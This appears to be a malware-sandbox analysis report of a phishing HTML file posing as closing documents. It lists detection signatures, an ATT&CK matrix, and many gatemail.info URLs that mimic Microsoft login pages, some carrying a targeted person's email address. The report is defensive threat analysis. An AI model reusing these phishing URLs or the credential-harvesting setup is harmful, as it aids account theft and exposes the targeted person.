
ID: 829695
Sample Name: Encrypted
Closing docs and Payoff
statements.html
Cookbook:
defaultwindowshtmlcookbook.jbs
Time: 22:20:48
Date: 18/03/2023
Version: 37.0.0 Beryl
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Windows Analysis Report 
Encrypted Closing docs and Payo  statements.html

Overview

General Information
Sample Name: Encrypted Closing docs 

and Payoff 
statements.html

Analysis ID: 829695

MD5: efcf66d12ae1f0…

SHA1: ba27c7875d5e…

SHA256: d395fbfd2c398…

Infos:

Detection

HTMLPhisher

Score: 72

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Phishing site detected (based on fav…

Yara detected Phisher

Yara detected HtmlPhish54

HTML document with suspicious na…

Phishing site detected (based on im…

HTML body contains low number of …

Found iframes

IP address seen in connection with …

No HTML title found

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 3108 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 0FEC2748F363150DC54C1CAFFB1A9408)
chrome.exe (PID: 2424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --

service-sandbox-type=none --mojo-platform-channel-handle=1868 --field-trial-handle=1816,i,6220061778104809602,11437118113149743191,131072 --disable-features
=OptimizationGuideModelDownloading,OptimizationHints,OptimizationTargetPrediction /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)
chrome.exe (PID: 1780 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Encrypted Closing docs and Payoff statements.html MD5:

0FEC2748F363150DC54C1CAFFB1A9408)
cleanup

⊘ No configs have been found

Source Rule Description Author Strings

Encrypted Closing docs and Payoff statements.html JoeSecurity_Phish
er_3

Yara detected 
Phisher

Joe Security

Source Rule Description Author Strings

15420.3.pages.csv JoeSecurity_HtmlP
hish_54

Yara detected 
HtmlPhish_54

Joe Security

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML
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Phishing

System Summary

⊘ No Sigma rule has matched

⊘ No Snort rule has matched
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and
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Network
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Remote
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Windows
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nt
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ation
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n
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Masqueradi
ng

OS
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Dumping

System
Service
Discovery

Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Process
Injection

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

4
Non-
Application
Layer
Protocol

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

Obfuscated
Files or
Information

Security
Account
Manager

Query
Registry

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

5
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

Binary
Padding

NTDS System
Network
Configurati
on
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

3
Ingress
Tool
Transfer

SIM Card
Swap

Carrier
Billing
Fraud

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing site detected (based on favicon image match)

Yara detected Phisher

Yara detected HtmlPhish54

Phishing site detected (based on image similarity)

HTML document with suspicious name

Mitre Att&ck Matrix

Behavior Graph
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Behavior Graph
ID: 829695

Sample: Encrypted Closing docs and ...

Startdate: 18/03/2023
Architecture: WINDOWS
Score: 72

Phishing site detected
(based on favicon image

match)
Yara detected HtmlPhish54 Yara detected Phisher 2 other signatures

chrome.exe

14 1

        started       

chrome.exe

        started       

192.168.2.1
unknown

unknown

239.255.255.250
unknown
Reserved

chrome.exe

        started       

d16b5991-fa3adaac.gatemail.info

199.192.31.166, 443, 49708, 49714
NAMECHEAP-NETUS

United States

accounts.google.com

142.250.180.173, 443, 49702, 49706
GOOGLEUS
United States

14 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

Encrypted Closing docs and Payoff statements.html 0% Virustotal Browse

⊘ No Antivirus matches

⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/content/css/signup16.css

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/mscorlib.js 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2023 Page 7 of 46

https://www.virustotal.com/gui/file/d395fbfd2c398c5ae4ab37d84fb8f00a3eab794744a75c3d29d0a175188501a6/detection/f-d395fbfd2c398c5ae4ab37d84fb8f00a3eab794744a75c3d29d0a175188501a6-1679174369


https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_mos_background_right.jpg 0% Avira URL Cloud safe

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_aeb718
e8cbcfba8bf6ed.js

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/images/scrollbar/arrow_staticdown_16.png 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_white_panel.jpg 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/home15.css 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/webcontrols/js/geminiwizard.js

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/webcontrols/js/productkeycontrol.js

0% Avira URL Cloud safe

https://live.gatemail.info/Me.htm?v=3 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/commonhealthdashboard.css

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/webtrendsstream.js

0% Avira URL Cloud safe

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5
d.svg

0% Avira URL Cloud safe

https://5bf3fb86-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/jquery/jquery-
1_10_2_min.js

0% Avira URL Cloud safe

https://github.gatemail.info/angular/angular.js/pull/10764 0% Avira URL Cloud safe

https://github.gatemail.info/douglascrockford/JSON-js 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/en/css/webfonts/segoeui-regular-
final.

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/images/scrollbar/arrow_staticup_16.png 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/Shell/Images/header_wizard_hl_mos.jpg 0% Avira URL Cloud safe

https://a67e869c-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://lmo.gatemail.info/websocket/hook/?
HqtikE=ZmEzYWRhYWNjZjUyNDM3YmI3ZWJmNDFiZGE1YWQ5N2E=

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/shell/images/signup_ms_logo.png 0% Avira URL Cloud safe

eae25159-fa3adaac.gatemail.info) 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/microsoftajaxcombined.js

0% Avira URL Cloud safe

ce0e61e1-fa3adaac.gatemail.info/bootstrap/ 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/en/css/webfonts/segoeui-light-
final.sv

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/conciergehelper.css

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/webtrends.js 0% Avira URL Cloud safe

https://lmo.gatemail.info 0% Avira URL Cloud safe

https://9b58e74a-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://github.gatemail.info/DaftMonk/angular-tour 0% Avira URL Cloud safe

e255de12-fa3adaac.gatemail.info/ 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/passwordstrengthmeter.js

0% Avira URL Cloud safe

https://d16b5991-
fa3adaac.gatemail.info/ests/2.1/content/cdnbundles/converged.v2.login.min_dxlgfz8kx1amwm8vpguk7w
2.css

0% Avira URL Cloud safe

https://b11b496a-fa3adaac.gatemail.info/WebResource.axd?d=SYxG2gKEltHc92c7-
eKy7vreyN1e2QqrvpdCCR4utt35Rwac9rd_c8SeOHxrYQBj6_mlgMwB-
OaZiOiHvHjimRyiyb40s7dxOv3AMLtzClV2W-wogtkMOc2pDBD_sJZyRKzfvgJtVY-
JClcKNVaTSg2&t=638114535759270433

0% Avira URL Cloud safe

https://9ab59afd-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-
semilight-

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/embeddedfonts.css

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/website.css 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/Images/transparent.gif 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/reporting.js 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/adminbootstrap.js

0% Avira URL Cloud safe

314569b8-fa3adaac.gatemail.info/100/150 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/en/css/webfonts/segoeui-
semibold-final

0% Avira URL Cloud safe

Source Detection Scanner Label Link
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https://7e0e6934-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/Shell/Images/header_bg_signup_office.jpg 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/home.css 0% Avira URL Cloud safe

https://cbddd554-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90b
d.svg

0% Avira URL Cloud safe

ceebb38e-fa3adaac.gatemail.info/ 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/assistancepanel.css

0% Avira URL Cloud safe

https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/images/signin-
options_4e48046ce74f4b89d45037c90576bfac.svg

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/webuivalidation.js

0% Avira URL Cloud safe

github.gatemail.info/angular-ui/ui-select 0% Avira URL Cloud safe

fa114e4d-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/js/ConvergedLogin_PCore_EH-
q9hPYkBqq2xSfT_DcJw2.js

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_mos_background_left.jpg 0% Avira URL Cloud safe

https://7a057e27-fa3adaac.gatemail.info/ 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/headbundle.js 0% Avira URL Cloud safe

https://github.gatemail.info/mgonto/angular-wizard 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
content/en/css/webfonts/fabmdl2.4.51.woff

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/masterstyles15mvc.css

0% Avira URL Cloud safe

https://36cb3aa6-fa3adaac.gatemail.info/search?q=ponyfill. 0% Avira URL Cloud safe

eeccea68-fa3adaac.gatemail.info/LICENSE 0% Avira URL Cloud safe

https://e5ab5825-fa3adaac.gatemail.info/api/report?catId=GW+estsfd+dub1 0% Avira URL Cloud safe

https://d16b5991-fa3adaac.gatemail.info/ests/2.1/content/cdnbundles/ux.converged.login.strings-
en.min_cfi3giy70wfemn6mr5vbma2.js

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_nav_highlight.jpg 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/admin/css/admin.css

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/o365themedefault.css

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/webcontrols/js/peoplepicker.js

0% Avira URL Cloud safe

https://abd4990f-fa3adaac.gatemail.info/license 0% Avira URL Cloud safe

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_c0
f2645501c8b52bd96c.js

0% Avira URL Cloud safe

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico

0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/home.js 0% Avira URL Cloud safe

https://5a887bae-fa3adaac.gatemail.info 0% Avira URL Cloud safe

https://b11b496a-fa3adaac.gatemail.info/pp.l?
CID=c3c6313a19304148993fd2ca1b1be667&pageId=Prefetch.aspx&d={B:{S:%27L%27,LT:39769,UT:-
1,MT:-1},A:{ET:-1,OT:4,DT:116,CT:476,RT:5452,ST:5466,MT:-1,LT:46014},C:{LT:1679203375275}}

0% Avira URL Cloud safe

https://github.gatemail.info/h5bp/html5-boilerplate/blob/master/src/css/main.css 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/searchbox.js 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/hipcontrol.js 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/controlbundle.js

0% Avira URL Cloud safe

https://github.gatemail.info/twbs/bootstrap/blob/master/LICENSE) 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/shell/images/o365_gallatin_logo.png 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/images/backgrounds/image1.jpg 0% Avira URL Cloud safe

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/masterstyles15.css

0% Avira URL Cloud safe

https://23d5ddfe-fa3adaac.gatemail.info 0% Avira URL Cloud safe

b02be1f1-fa3adaac.gatemail.info/position/ 0% Avira URL Cloud safe

Source Detection Scanner Label Link
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Name IP Active Malicious Antivirus Detection Reputation

wwwms.gatemail.info 199.192.31.166 true false unknown

wwwofc.gatemail.info 199.192.31.166 true false unknown

accounts.google.com 142.250.180.173 true false high

2650ba1d-fa3adaac.gatemail.info 199.192.31.166 true false unknown

b11b496a-fa3adaac.gatemail.info 199.192.31.166 true false unknown

live.gatemail.info 199.192.31.166 true false unknown

lmo.gatemail.info 199.192.31.166 true false unknown

6b939d73-fa3adaac.gatemail.info 199.192.31.166 true false unknown

81496c52-fa3adaac.gatemail.info 199.192.31.166 true false unknown

signup.gatemail.info 199.192.31.166 true false unknown

www.google.com 142.251.209.36 true false high

clients.l.google.com 142.250.184.78 true false high

e5ab5825-fa3adaac.gatemail.info 199.192.31.166 true false unknown

d16b5991-fa3adaac.gatemail.info 199.192.31.166 true false unknown

clients2.google.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/home15.css

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_mos_background_right.jpg false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/mscorlib.js false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/content/css/signup16.css

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_white_panel.jpg false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/webcontrols/js/geminiwizard.js

false Avira URL Cloud: safe unknown

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_aeb
718e8cbcfba8bf6ed.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/images/scrollbar/arrow_staticdown_16.png false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/webcontrols/js/productkeycontrol.js

false Avira URL Cloud: safe unknown

https://lmo.gatemail.info/?username=rbown@industrialinvestments.com false unknown

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c71758
6a5d.svg

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/commonhealthdashboard.css

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/webtrendsstream.js

false Avira URL Cloud: safe unknown

https://live.gatemail.info/Me.htm?v=3 false Avira URL Cloud: safe unknown

https://lmo.gatemail.info/?username=rbown@industrialinvestments.com&sso_reload=true true unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/jquery/jquery-1_10_2_min.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/images/scrollbar/arrow_staticup_16.png false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/Shell/Images/header_wizard_hl_mos.jpg false Avira URL Cloud: safe unknown

https://wwwofc.gatemail.info/prefetch/prefetch false unknown

https://lmo.gatemail.info/websocket/hook/?
HqtikE=ZmEzYWRhYWNjZjUyNDM3YmI3ZWJmNDFiZGE1YWQ5N2E=

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/shell/images/signup_ms_logo.png false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/microsoftajaxcombined.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/conciergehelper.css

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/webtrends.js

false Avira URL Cloud: safe unknown

https://b11b496a-fa3adaac.gatemail.info/Prefetch/Prefetch.aspx false unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/passwordstrengthmeter.js

false Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs
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https://81496c52-fa3adaac.gatemail.info/Images/transparent.gif false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/embeddedfonts.css

false Avira URL Cloud: safe unknown

https://d16b5991-
fa3adaac.gatemail.info/ests/2.1/content/cdnbundles/converged.v2.login.min_dxlgfz8kx1amwm8vpgu
k7w2.css

false Avira URL Cloud: safe unknown

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://b11b496a-fa3adaac.gatemail.info/WebResource.axd?d=SYxG2gKEltHc92c7-
eKy7vreyN1e2QqrvpdCCR4utt35Rwac9rd_c8SeOHxrYQBj6_mlgMwB-
OaZiOiHvHjimRyiyb40s7dxOv3AMLtzClV2W-wogtkMOc2pDBD_sJZyRKzfvgJtVY-
JClcKNVaTSg2&t=638114535759270433

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/website.css

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/reporting.js false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/adminbootstrap.js

false Avira URL Cloud: safe unknown

https://signup.gatemail.info/signup?
sru=https://live.gatemail.info/oauth20_authorize.srf%3flc%3d1033%26client_id%3d51483342-085c-
4d86-bf88-cf50c7252078%26mkt%3dEN-
US%26opid%3d2BAF3CD3A259931D%26opidt%3d1679174546%26uaid%3d7a01535b3fba469baf53
df6d5caaa620%26contextid%3dF2C1C5F57CCCC2B1%26opignore%3d1&mkt=EN-
US&uiflavor=web&username=rbown@industrialinvestments.com&lw=1&fl=easi2&client_id=5148334
2-085c-4d86-bf88-
cf50c7252078&uaid=7a01535b3fba469baf53df6d5caaa620&suc=https://5161f76c-
fa3adaac.gatemail.info

false unknown

https://81496c52-fa3adaac.gatemail.info/Shell/Images/header_bg_signup_office.jpg false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/home.css false Avira URL Cloud: safe unknown

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e
90bd.svg

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/assistancepanel.css

false Avira URL Cloud: safe unknown

https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/images/signin-
options_4e48046ce74f4b89d45037c90576bfac.svg

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/webuivalidation.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_mos_background_left.jpg false Avira URL Cloud: safe unknown

https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/js/ConvergedLogin_PCore_EH-
q9hPYkBqq2xSfT_DcJw2.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/headbundle.js

false Avira URL Cloud: safe unknown

https://lmo.gatemail.info/?username=rbown@industrialinvestments.com false unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/masterstyles15mvc.css

false Avira URL Cloud: safe unknown

https://e5ab5825-fa3adaac.gatemail.info/api/report?catId=GW+estsfd+dub1 false Avira URL Cloud: safe unknown

https://d16b5991-
fa3adaac.gatemail.info/ests/2.1/content/cdnbundles/ux.converged.login.strings-
en.min_cfi3giy70wfemn6mr5vbma2.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/o365themedefault.css

false Avira URL Cloud: safe unknown

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelpe
r_c0f2645501c8b52bd96c.js

false Avira URL Cloud: safe unknown

https://signup.gatemail.info/signup?
sru=https://live.gatemail.info/oauth20_authorize.srf%3flc%3d1033%26client_id%3d51483342-085c-
4d86-bf88-cf50c7252078%26mkt%3dEN-
US%26opid%3d2BAF3CD3A259931D%26opidt%3d1679174546%26uaid%3d7a01535b3fba469baf53
df6d5caaa620%26contextid%3dF2C1C5F57CCCC2B1%26opignore%3d1&mkt=EN-
US&uiflavor=web&username=rbown@industrialinvestments.com&lw=1&fl=easi2&client_id=5148334
2-085c-4d86-bf88-
cf50c7252078&uaid=7a01535b3fba469baf53df6d5caaa620&suc=https://5161f76c-
fa3adaac.gatemail.info

false unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/admin/css/admin.css

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/webcontrols/js/peoplepicker.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_nav_highlight.jpg false Avira URL Cloud: safe unknown

https://d16b5991-
fa3adaac.gatemail.info/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/home.js false Avira URL Cloud: safe unknown

Name Malicious Antivirus Detection Reputation
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https://b11b496a-fa3adaac.gatemail.info/pp.l?
CID=c3c6313a19304148993fd2ca1b1be667&pageId=Prefetch.aspx&d={B:
{S:%27L%27,LT:39769,UT:-1,MT:-1},A:{ET:-1,OT:4,DT:116,CT:476,RT:5452,ST:5466,MT:-
1,LT:46014},C:{LT:1679203375275}}

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/js/searchbox.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/hipcontrol.js

false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/jsc/controlbundle.js

false Avira URL Cloud: safe unknown

https://wwwofc.gatemail.info/prefetch/prefetch false unknown

https://81496c52-fa3adaac.gatemail.info/shell/images/o365_gallatin_logo.png false Avira URL Cloud: safe unknown

https://81496c52-fa3adaac.gatemail.info/admincenter/admin-
pkg/2023.3.13.2/en/css/masterstyles15.css

false Avira URL Cloud: safe unknown

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

https://81496c52-fa3adaac.gatemail.info/images/backgrounds/image1.jpg false Avira URL Cloud: safe unknown

https://b11b496a-fa3adaac.gatemail.info/Prefetch/Prefetch.aspx false unknown

Name Malicious Antivirus Detection Reputation

Name Source Malicious Antivirus Detection Reputation

https://github.gatemail.info/douglascrockford/JSON-js
chromecache_251.1.dr, chromecache_197.1.dr, 
chromecache_235.1.dr

false Avira URL Cloud: safe unknown

https://81496c52-
fa3adaac.gatemail.info/admincenter/admin-
pkg/en/css/webfonts/segoeui-regular-final.

chromecache_253.1.dr false Avira URL Cloud: safe unknown

https://5bf3fb86-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

https://github.gatemail.info/angular/angular.js/pull/1076
4

chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://a67e869c-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

eae25159-fa3adaac.gatemail.info) chromecache_196.1.dr false Avira URL Cloud: safe low

ce0e61e1-fa3adaac.gatemail.info/bootstrap/ chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://81496c52-
fa3adaac.gatemail.info/admincenter/admin-
pkg/en/css/webfonts/segoeui-light-final.sv

chromecache_253.1.dr false Avira URL Cloud: safe unknown

https://lmo.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

https://github.gatemail.info/DaftMonk/angular-
tour

chromecache_196.1.dr false Avira URL Cloud: safe unknown

https://9b58e74a-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

e255de12-fa3adaac.gatemail.info/ chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://9ab59afd-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

www.opensource.org/licenses/mit-license.php) chromecache_251.1.dr false high

www.opensource.org/licenses/MIT chromecache_196.1.dr, chromecache_205.1.dr false high

https://81496c52-
fa3adaac.gatemail.info/admincenter/admin-
content/en/css/webfonts/segoeui-semilight-

chromecache_253.1.dr false Avira URL Cloud: safe unknown

314569b8-fa3adaac.gatemail.info/100/150 chromecache_205.1.dr false Avira URL Cloud: safe unknown

https://7e0e6934-fa3adaac.gatemail.info chromecache_211.1.dr false Avira URL Cloud: safe unknown

https://81496c52-
fa3adaac.gatemail.info/admincenter/admin-
